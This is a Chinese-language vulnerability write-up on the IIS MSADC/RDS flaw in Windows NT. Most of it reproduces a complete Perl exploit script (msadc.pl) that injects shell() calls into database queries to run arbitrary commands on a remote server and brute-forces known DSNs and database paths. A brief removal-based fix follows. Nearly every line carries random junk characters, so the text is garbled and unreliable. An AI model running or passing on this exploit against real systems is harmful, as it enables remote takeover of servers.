IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
-b@E@uAX / y_"G Mw 涉及程序：
>ge-yK 1 Microsoft NT server
[[D}vL8d K! /E0G& 描述：
u2<:mu[|P 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
X_
>B7(k if5Y!Tx?G 详细：
_| 8"&*T^ 如果你没有时间读详细内容的话，就删除:
$!I $*R& c:\Program Files\Common Files\System\Msadc\msadcs.dll
`Uk,5F5 有关的安全问题就没有了。
7\ff=L-b |iM*}Ix- 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
mQ %kGqs {yyg= AMz 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
q1dYiG.-Z 关于利用ODBC远程漏洞的描述，请参看:
z,rWj][P @7lZ{jV$ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6X|KKsPzX >K\ 79<x| 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
>mF`XbS http://www.microsoft.com/security/bulletins/MS99-025faq.asp qUt VqS 6}NvVolr 这里不再论述。
uy\YJ.WMQ NkO$
M 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
\f66ipZK* \((>i7 C /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
1Y9Ye?~jd 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
[RpFC4W }Pb !u9_ 6C]!>i}U #将下面这段保存为txt文件，然后: "perl -x 文件名"
F$ h/k^ 1}jE?{V* #!perl
G|O"Kv6 #
E #ys-t 42 # MSADC/RDS 'usage' (aka exploit) script
!Rb7q{@>
#
3al5Vu2: # by rain.forest.puppy
b1*6) #
g<.8i W 'c # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
M3z7P.\G # beta test and find errors!
0>e>G (4(8 zV80r+y use Socket; use Getopt::Std;
1~`g fHI4 getopts("e:vd:h:XR", \%args);
Ej34^*m9k !m(6/*PAl print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
;% k%AXw |d`?wm- if (!defined $args{h} && !defined $args{R}) {
9hguC yr@h print qq~
Ck ^= H Usage: msadc.pl -h <host> { -d <delay> -X -v }
F 1zc4l6 -h <host> = host you want to scan (ip or domain)
wUV%N ZB -d <seconds> = delay between calls, default 1 second
b5)>h -X = dump Index Server path table, if available
73<iK]*c -v = verbose
!< X_XA -e = external dictionary file for step 5
kXj pCtCu l|up3A3) Or a -R will resume a command session
&1u ?W%(Px &GZR-/ ~; exit;}
G? _,( L"-&B$B: $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
C9 iG`? if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*|3z($*U] if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
T
a[74;VO if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}N|/b"j9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
= N0cz% if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
6FmgK"t8 u J y@ if (!defined $args{R}){ $ret = &has_msadc;
pxC5a i die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
]s S oIT DtN6.9H2` print "Please type the NT commandline you want to run (cmd /c assumed):\n"
.R"L$V$RU. . "cmd /c ";
sI'HS+~pU $in=<STDIN>; chomp $in;
gjWH
}(K $command="cmd /c " . $in ;
>k#aB.6 t8+93,*B if (defined $args{R}) {&load; exit;}
_t [%@G>P a RwBxf print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
J|q_&MX/ &try_btcustmr;
4%7*tVG =w8 YZs8w print "\nStep 2: Trying to make our own DSN...";
qprOxP
r &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
`qgJE_GC l{AT)1;^ print "\nStep 3: Trying known DSNs...";
9|m L &known_dsn;
K7Vr$,p 2fk print "\nStep 4: Trying known .mdbs...";
"8]17 0 &known_mdb;
,m8*uCf u5yg bCm if (defined $args{e}){
7EXmmB~>, print "\nStep 5: Trying dictionary of DSN names...";
e- CW4x &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
qsRh ihPX Uf<vw3 print "Sorry Charley...maybe next time?\n";
u\wd<<I'] exit;
*2 MTx "LWuN> ##############################################################################
yw<xv-Q=i U XJl;M b sub sendraw { # ripped and modded from whisker
*ZGN!0/ sleep($delay); # it's a DoS on the server! At least on mine...
6KG 63`aQ my ($pstr)=@_;
nSiNSLv socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
AlxS?f2w die("Socket problems\n");
uSJP"Lw if(connect(S,pack "SnA4x8",2,80,$target)){
[
_$$P* select(S); $|=1;
dFFqs& c Q print $pstr; my @in=<S>;
L /> GYx select(STDOUT); close(S);
h6N}sLM{0 return @in;
($W 5fbu } else { die("Can't connect...\n"); }}
R.T-Pt ene WRyLpTr- ##############################################################################
]Dg0@Y K;y\ &'E sub make_header { # make the HTTP request
Rp*t"HSaAW my $msadc=<<EOT
eHe /w9`$R POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!e `=UZe1 User-Agent: ACTIVEDATA
bicL %I2h Host: $ip
xk8p,>/ Content-Length: $clen
|lwN!KVQ, Connection: Keep-Alive
>}*jsqaVU 5#\p> }[HG ADCClientVersion:01.06
F `.7_D Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
}8:
-I Nj4 q?4uH;h:^G --!ADM!ROX!YOUR!WORLD!
e~;) -Z Content-Type: application/x-varg
vKC&Qi ; Content-Length: $reqlen
P;L Z!I ?/MXcI( EOT
Y{|yB ; $msadc=~s/\n/\r\n/g;
1 I_q3 { return $msadc;}
Xy<f_ J)|K/W9 ##############################################################################
0 _}89:- D .R sub make_req { # make the RDS request
3y B6]U my ($switch, $p1, $p2)=@_;
_PXo'*j my $req=""; my $t1, $t2, $query, $dsn;
12xP)*:$ *AR<DXE L if ($switch==1){ # this is the btcustmr.mdb query
5y i q# $query="Select * from Customers where City=" . make_shell();
> %dAqYi $ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
[+,U0OV, $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
F)kLlsp WC*:\:mh elsif ($switch==2){ # this is general make table query
'TsZuZW] $query="create table AZZ (B int, C varchar(10))";
<" l;l~Y1 $dsn="$p1";}
u!k<sd_8B E*CQG;^=N elsif ($switch==3){ # this is general exploit table query
vcU\xk") $query="select * from AZZ where C=" . make_shell();
q.[ [ c $dsn="$p1";}
aB6LAb2z;T 6_K#,_oZ elsif ($switch==4){ # attempt to hork file info from index server
Sc 3M#qm_ $query="select path from scope()";
%]$p ^m $dsn="Provider=MSIDXS;";}
"sX?wTag R bc2g"] elsif ($switch==5){ # bad query
={@ @`yP^$ $query="select";
Ny7=-]N4{" $dsn="$p1";}
{59VS
Nl <?7,`P:h[ $t1= make_unicode($query);
O rJlHMz $t2= make_unicode($dsn);
8yz((?LrDh $req = "\x02\x00\x03\x00";
]l7\Zq $req.= "\x08\x00" . pack ("S1", length($t1));
(DP9& b $req.= "\x00\x00" . $t1 ;
NV(4wlh)y $req.= "\x08\x00" . pack ("S1", length($t2));
::R00gd $req.= "\x00\x00" . $t2 ;
C*6)Ut ' $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
8 E+C:" return $req;}
a{Hb7& cPaW J+c ##############################################################################
53*, f 15T[J%7f sub make_shell { # this makes the shell() statement
v[DbhIX U return "'|shell(\"$command\")|'";}
o``>sB ZOq 4|41^B5Y ##############################################################################
x`6^+>y^ (yAvDyJOn sub make_unicode { # quick little function to convert to unicode
jo3}]KC ! my ($in)=@_; my $out;
H?(S SL for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
dtnet_j return $out;}
XL/o y'_ ME@6.* ##############################################################################
ZWhmO=b! fQy
C6C sub rdo_success { # checks for RDO return success (this is kludge)
ie~fQ!rf my (@in) = @_; my $base=content_start(@in);
?-:: {2O) if($in[$base]=~/multipart\/mixed/){
,i bPSN5Ca return 1 if( $in[$base+10]=~/^\x09\x00/ );}
!+DJhw&c, return 0;}
1mVVPt^6 5 -WRv; ##############################################################################
oSA*~ N: =_m9so sub make_dsn { # this makes a DSN for us
8u'O` j my @drives=("c","d","e","f");
[kuVQ$) print "\nMaking DSN: ";
Z'*Z @u3 foreach $drive (@drives) {
=Wk /q_. print "$drive: ";
Cq *}b4^; my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
N>pmhsk N? "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
X:``{!~geo . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
~l*?D7[o $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
bA< AG* return 0 if $2 eq "404"; # not found/doesn't exist
0+<eRR9 - if($2 eq "200") {
) { foreach $line (@results) {
MYhx'[4[3 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
>'}=.3\ } return 0;}
<ql w+RVt .Y(lB=pV ##############################################################################
<{cNgKd9 7{An@hNh sub verify_exists {
:`U yn!w my ($page)=@_;
a\{1UD my @results=sendraw("GET $page HTTP/1.0\n\n");
p>:ef<.i return $results[0];}
[l':G ] 5`E`Kb+@ ##############################################################################
R{)
Q1~H=q a%T -Z.rd sub try_btcustmr {
*m$ PH"
my @drives=("c","d","e","f");
%/y`<lJz( my @dirs=("winnt","winnt35","winnt351","win","windows");
rXY ;m- cZgMA8
F foreach $dir (@dirs) {
)W`SC mr] print "$dir -> "; # fun status so you can see progress
}{5mH: foreach $drive (@drives) {
UK6xkra?# print "$drive: "; # ditto
iIsEQ h $reqlen=length( make_req(1,$drive,$dir) ) - 28;
p"[O#*p $reqlenlen=length( "$reqlen" );
T s(t:^
$clen= 206 + $reqlenlen + $reqlen;
a(@p0YpKT zUs ~V`0 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
!6zyJc @01 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
\9] I#Ih}M else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
iz Ph1YA hhpv\1h# ##############################################################################
gwSN>oj
& o3n3URu\ sub odbc_error {
Q P FeBl my (@in)=@_; my $base;
}pMP!%| my $base = content_start(@in);
|1(rr% if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
OE'K5oIM $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
z wL3,!t $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9<|m4 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K1T 1 @ j return $in[$base+4].$in[$base+5].$in[$base+6];}
+7Yu ^& print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
5M%,N-P ^ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
)n7|?@ 5U $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
A7k'K4 V43nws "4 ##############################################################################
! FNf>z+ UvkJ?Bu sub verbose {
Y4mC _4EU my ($in)=@_;
j$@?62)6 return if !$verbose;
b5A Gk print STDOUT "\n$in\n";}
T H|?X0b '#v71 , ##############################################################################
)ll?-FZ
l8z%\p5cR sub save {
/7bw: h; my ($p1, $p2, $p3, $p4)=@_;
4s9c#nVlu open(OUT, ">rds.save") || print "Problem saving parameters...\n";
4d!S#zx print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
o2 DtCU-A close OUT;}
$`|5/,M%QN RCzV5g ##############################################################################
jOs
H2^ W1v CN31 sub load {
(nLKQV 1 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9"~9hOEct open(IN,"<rds.save") || die("Couldn't open rds.save\n");
LI[ ?~P2\ @p=<IN>; close(IN);
n
]w7Zj $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
OCCEL9d $target= inet_aton($ip) || die("inet_aton problems");
Y2<dM/b/ print "Resuming to $ip ...";
;X qn-R $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
[*Q-nZ/L if($p[1]==1) {
o,CBA ;{P $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
C` pp $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
q0Xoj__c!A my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
!Cw!+fZ\l if (rdo_success(@results)){print "Success!\n";}
RU6 KIg{H else { print "failed\n"; verbose(odbc_error(@results));}}
j ") FaIM elsif ($p[1]==3){
u+i (";\ if(run_query("$p[3]")){
W6vf=I@f print "Success!\n";} else { print "failed\n"; }}
eK'wVg# elsif ($p[1]==4){
+P|2m"UA if(run_query($drvst . "$p[3]")){
Pey //U print "Success!\n"; } else { print "failed\n"; }}
n12UB vc}% exit;}
S_2"7 `)$`-Pw* ##############################################################################
"A;s56 }'& p #bhz5&/ sub create_table {
w:}C8WKw my ($in)=@_;
&UL_bG } $reqlen=length( make_req(2,$in,"") ) - 28;
ACb/ITu $reqlenlen=length( "$reqlen" );
c`
,
2h# $clen= 206 + $reqlenlen + $reqlen;
nd:E9: my @results=sendraw(make_header() . make_req(2,$in,""));
<c+K3P'3? return 1 if rdo_success(@results);
)Vg2Jix,] my $temp= odbc_error(@results); verbose($temp);
jq(qo4~; return 1 if $temp=~/Table 'AZZ' already exists/;
JS!*2*Wr return 0;}
zI^Da!r. dv , C6t2 ##############################################################################
o2aM#Q
z1vw'VT> sub known_dsn {
KXf<$\+zO # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
\vCGU>UY my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
^P?vkO"pB? "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
_ij$f< "banner", "banners", "ads", "ADCDemo", "ADCTest");
^,TTwLy- t
K'aWCscM foreach $dSn (@dsns) {
RPH1''*! print ".";
]GX \|1L next if (!is_access("DSN=$dSn"));
.'1SZe7O if(create_table("DSN=$dSn")){
OR4!YVVQ print "$dSn successful\n";
oq$w4D0Z if(run_query("DSN=$dSn")){
\~#WY5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
8: thWGLN print "Something's borked. Use verbose next time\n";}}} print "\n";}
|TT S? g$FEEDF ##############################################################################
rwSbqL^eM d"ZU y!a sub is_access {
Dx-KMiQ,"( my ($in)=@_;
3~Qd)j "< $reqlen=length( make_req(5,$in,"") ) - 28;
,O]l~)sr| $reqlenlen=length( "$reqlen" );
,%W<O. $clen= 206 + $reqlenlen + $reqlen;
XV>&F{ my @results=sendraw(make_header() . make_req(5,$in,""));
inAAgW#s} my $temp= odbc_error(@results);
<x0H@?f7 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
zN~6HZ_:^ return 0;}
7NL% $Vf d-B7["z , ##############################################################################
lw[e *q{s. ^$-Ye]< sub run_query {
r?A|d.Tl my ($in)=@_;
\.#p_U5In $reqlen=length( make_req(3,$in,"") ) - 28;
A&,,9G < $reqlenlen=length( "$reqlen" );
]|U-y6 45 $clen= 206 + $reqlenlen + $reqlen;
R^n@.^8s my @results=sendraw(make_header() . make_req(3,$in,""));
{v` 2sB return 1 if rdo_success(@results);
HjA_g 0u my $temp= odbc_error(@results); verbose($temp);
p'f%%#I return 0;}
% /}WUP^H @hi f$ ##############################################################################
LA%bq_> f u6 Je@e_! sub known_mdb {
--fFpM3EvS my @drives=("c","d","e","f","g");
&(blN.2 my @dirs=("winnt","winnt35","winnt351","win","windows");
bMKL1+y( my $dir, $drive, $mdb;
+ G;LX'B my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>&S0#>wmyG aWy]9F &C: # this is sparse, because I don't know of many
z ; Q<F my @sysmdbs=( "\\catroot\\icatalog.mdb",
2i7e# "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
?La Ued' "\\system32\\certmdb.mdb",
@Uo6>-W F "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
kK i A tX%`#hb?s my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
k?6z_vu "\\cfusion\\cfapps\\forums\\forums_.mdb",
=IjQ4 0W "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
z@Hp,|Vy[ "\\cfusion\\cfapps\\security\\realm_.mdb",
-#s [F S "\\cfusion\\cfapps\\security\\data\\realm.mdb",
j_cs;G: " "\\cfusion\\database\\cfexamples.mdb",
cz/Q/%j$/ "\\cfusion\\database\\cfsnippets.mdb",
A],ooiq< "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
:+rUBYWx "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
O+~ 7l?o "\\cfusion\\brighttiger\\database\\cleam.mdb",
'ZP)cI:+X "\\cfusion\\database\\smpolicy.mdb",
YB,t0%vTJw "\\cfusion\\database\cypress.mdb",
Sw[{JB;y, "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
,Hn^z<f "\\website\\cgi-win\\dbsample.mdb",
Kw5Lhc1V "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
D@oCP =m< "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
!>z:m!MlQ ); #these are just
%r kk> m foreach $drive (@drives) {
`ln1$ foreach $dir (@dirs){
D y-S98Y foreach $mdb (@sysmdbs) {
] J7Qgp)i print ".";
x@>&IBiL if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
n_ nl{ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5n lMrK if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
X" aEJ|y print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
MXD4|r( } else { print "Something's borked. Use verbose next time\n"; }}}}}
@b#^ - 58tVx' 1y foreach $drive (@drives) {
t*XN_=E$f foreach $mdb (@mdbs) {
FFKGd/:! print ".";
\ I`p|&vG if(create_table($drv . $drive . $dir . $mdb)){
3)=c]@N0 print "\n" . $drive . $dir . $mdb . " successful\n";
u3 0s_\ if(run_query($drv . $drive . $dir . $mdb)){
28.~ iw print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
tBATZ0nK`Q } else { print "Something's borked. Use verbose next time\n"; }}}}
Gi2$B76< }
,u9M<B<F xdvh-%A4 ##############################################################################
3< Od0J : 4gLjzL sub hork_idx {
bM,1 f/^ print "\nAttempting to dump Index Server tables...\n";
2";SJF'5\ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
a2 +~;{?g $reqlen=length( make_req(4,"","") ) - 28;
J% H;%ROx $reqlenlen=length( "$reqlen" );
_+l1 b"^s1 $clen= 206 + $reqlenlen + $reqlen;
p[AO'
xx my @results=sendraw2(make_header() . make_req(4,"",""));
eLD|A=X? if (rdo_success(@results)){
KhbYr$ my $max=@results; my $c; my %d;
q .Y fC for($c=19; $c<$max; $c++){
kzn[
=P $results[$c]=~s/\x00//g;
N_pUv $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Q Fm|-j $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
b</9Ai= $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
NB_ )ZEmF $d{"$1$2"}="";}
vmTs9"ujF, foreach $c (keys %d){ print "$c\n"; }
@=j WHS } else {print "Index server doesn't seem to be installed.\n"; }}
cTTW06^ 3*UR3!Z9
* ##############################################################################
LUX*P7*B vQ}6y sub dsn_dict {
b75 $?_+ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
?p<.Fv8. while(<IN>){
uw(NG.4 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
&fa5laJb next if (!is_access("DSN=$dSn"));
yS(}:'`r if(create_table("DSN=$dSn")){
!~ ]<$WZV print "$dSn successful\n";
}Ew hj>w if(run_query("DSN=$dSn")){
j^tW
Iz print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
39wa|:I print "Something's borked. Use verbose next time\n";}}}
Vwk #qgnX print "\n"; close(IN);}
%UUH" 9^Fz iM ##############################################################################
Ian[LbCWB QqNW}: # sub sendraw2 { # ripped and modded from whisker
c 9qR'2 sleep($delay); # it's a DoS on the server! At least on mine...
j]|U my ($pstr)=@_;
\s"U{N- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
EtbnE *S die("Socket problems\n");
b $ %0.s if(connect(S,pack "SnA4x8",2,80,$target)){
j>uj=B@ print "Connected. Getting data";
;V^pL((5J open(OUT,">raw.out"); my @in;
@fv}G>t select(S); $|=1; print $pstr;
ez]tAW while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
<f@"HG
l close(OUT); select(STDOUT); close(S); return @in;
ui q^|5Z } else { die("Can't connect...\n"); }}
qyC=(v 'r1LSht' ##############################################################################
!`1'2BC 8r"+bhGx~ sub content_start { # this will take in the server headers
xx{! 3 F my (@in)=@_; my $c;
bXUy9 -L for ($c=1;$c<500;$c++) {
p G1WXbqW if($in[$c] =~/^\x0d\x0a/){
m,C1J%{^ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
lif&@o f else { return $c+1; }}}
FR2=
las"z return -1;} # it should never get here actually
jls-@Wl (Yo>Oh4 ##############################################################################
RrU BpqA .#02
ngh sub funky {
['8!qr my (@in)=@_; my $error=odbc_error(@in);
_@S`5;4x if($error=~/ADO could not find the specified provider/){
|@NiW\O print "\nServer returned an ADO miscofiguration message\nAborting.\n";
T91moRv exit;}
z [`@}}Q if($error=~/A Handler is required/){
,h"- print "\nServer has custom handler filters (they most likely are patched)\n";
"&Po,AWa exit;}
2'=T[<nNB if($error=~/specified Handler has denied Access/){
s3 7'&K print "\nServer has custom handler filters (they most likely are patched)\n";
Z{&cuo.@<] exit;}}
T~Q JO0 2 4 1*! ##############################################################################
@(r /dZc hI9 sub has_msadc {
_ _mF ?m my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
(/3 5p g6\ my $base=content_start(@results);
@gY)8xMbA return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
V#VN %{ return 0;}
UAoh`6vFF8 )K &( ########################
MS f; ZB ;M"9$M' N F)~W# 解决方案：
:y7c k/> 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
w$Jv B5O 2、移除web 目录: /msadc
